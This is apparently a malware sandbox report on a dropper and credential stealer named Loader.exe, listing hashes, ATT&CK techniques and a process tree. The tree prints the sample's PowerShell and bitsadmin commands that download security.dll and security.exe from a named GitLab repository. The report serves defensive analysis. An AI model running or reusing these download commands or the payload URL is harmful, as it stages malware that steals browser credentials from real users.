5caf2ec01fd840e3dc126668ea5def81d75cefd0ff06c5149f1c9bc348f95939

Analysis

user interaction
yes
max time kernel
99s
max time network
67s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 19:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loader.exe
Size 157KB
Sample260922-yffagswt4r
SHA256 5caf2ec01fd840e3dc126668ea5def81d75cefd0ff06c5149f1c9bc348f95939
MD5 e3ace7ccb0a5f45c0fafc9819c8af166
SHA1 8501dc59a17fe36fae6cdd30ba923299f3f1af04
SHA512 935519471d2f7d2e46ac9df5d70487473d27f682160bda0db6fa3249b350a9ffe68f00a5ea91b4dfeed097842a7e025b5b2ba8b8aba10b1ed1d26218bfc13d24
SSDEEP 3072:5GXcrQWUFsQiRhbXaxqeQg7iZcWmE8xTDa4M/VLvqnzEAr9wIG9cRuScrDfAHm:gMMrFsQGaxqel7GcWmE8xTDnM/VLaIdX
TLSH
T14AF34A5BF65500BAD267D478CE534903FB73BC4A0361A7CB57819BB60E179E4AE3EA00
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery dropper execution spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3188	powershell.exe
8	244	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3188	powershell.exe
244	powershell.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1240	bitsadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	3188	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
14	api.ipify.org

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1860	cmd.exe
3432	cmd.exe
3440	cmd.exe
200	cmd.exe
5056	cmd.exe
8	cmd.exe
4372	cmd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3188	powershell.exe
3188	powershell.exe
244	powershell.exe
244	powershell.exe
4116	Loader.exe
4116	Loader.exe
4116	Loader.exe
4116	Loader.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	244	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 8	4116	Loader.exe	90
PID 8 wrote to memory of 4124	8	cmd.exe	91
PID 4116 wrote to memory of 4372	4116	Loader.exe	92
PID 4116 wrote to memory of 1860	4116	Loader.exe	93
PID 4116 wrote to memory of 3432	4116	Loader.exe	94
PID 4116 wrote to memory of 3440	4116	Loader.exe	95
PID 3440 wrote to memory of 3188	3440	cmd.exe	96
PID 4116 wrote to memory of 200	4116	Loader.exe	97
PID 200 wrote to memory of 244	200	cmd.exe	98
PID 4116 wrote to memory of 5056	4116	Loader.exe	100
PID 5056 wrote to memory of 1240	5056	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mode con: cols=100 lines=35
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\system32\mode.com
    mode con: cols=100 lines=35
    3⤵
    PID:4124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:1860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:3432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/raw/main/security.dll?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.dll' -UseBasicParsing" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/raw/main/security.dll?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.dll' -UseBasicParsing"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe' -UseBasicParsing" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe' -UseBasicParsing"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /transfer mydownload /download /priority high "https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads" "C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer mydownload /download /priority high "https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads" "C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe"
    3⤵
    - Download via BitsAdmin
    PID:1240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dea234ed69b56a5ac20026ced884f4bb792af688a6a339fefb58f73068aaa846
MD5 705868f1da8dfb6bdcc2c97028a6df75
SHA1 0559741e798c1d22fffdf7b875373d94e6c798ae
SHA512 5f47468848b1ca69581fd73eec6fe6c5e600b11aa4fbffb514fa35c12f303d55abb81b1ef7fb4aea060ac2ea7997d91ff17a442ed06396f3c1198b0e2911d24a
TLSH
T103115733B3CC8724DC9A413650CEAC1136B687DB409ECE6BBB84D548B42F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

security.dll

Path C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.dll
Size 5.4MB
SHA256 1ed5ddb460b5cbcba6262ec41f1cd04c9bf5cfff69c3528a605a79aedcaf23fa
MD5 648d9383d2c9adf485eb1fe207d352ae
SHA1 1c0eb250839b65b61ef51a22521c1ab09f5e5755
SHA512 b58b1ccc9097b539ca5f322a92ac76389dead8f141926e309639c563d83645fa8f2e67499a9029fd82c76f5c9fe2afc997d5722cd7718e964b143d5beb2fecb5
SSDEEP 49152:M6teGx7kvvS/zZq6mb8ERZy3ddN1Q7oT5laEpYdcesJzPonbxKNGjWVI1y2WB77Y:/aEpYKzqJ077tTZjuHcSc6RzPIj6hh
TLSH
T11B463BBAB2910CADD613EEBE455F9F6B99F235530F3808C761E0F0A46A725C08735D92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3188-10-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-11-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-6-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-7-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-8-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-9-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-0-0x00007FFE6AA5F000-0x00007FFE6AA60000-memory.dmp

Download

memory/3188-5-0x0000020BB2950000-0x0000020BB2972000-memory.dmp

Download

memory/3188-12-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-13-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-17-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-16-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-4-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/3188-1-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download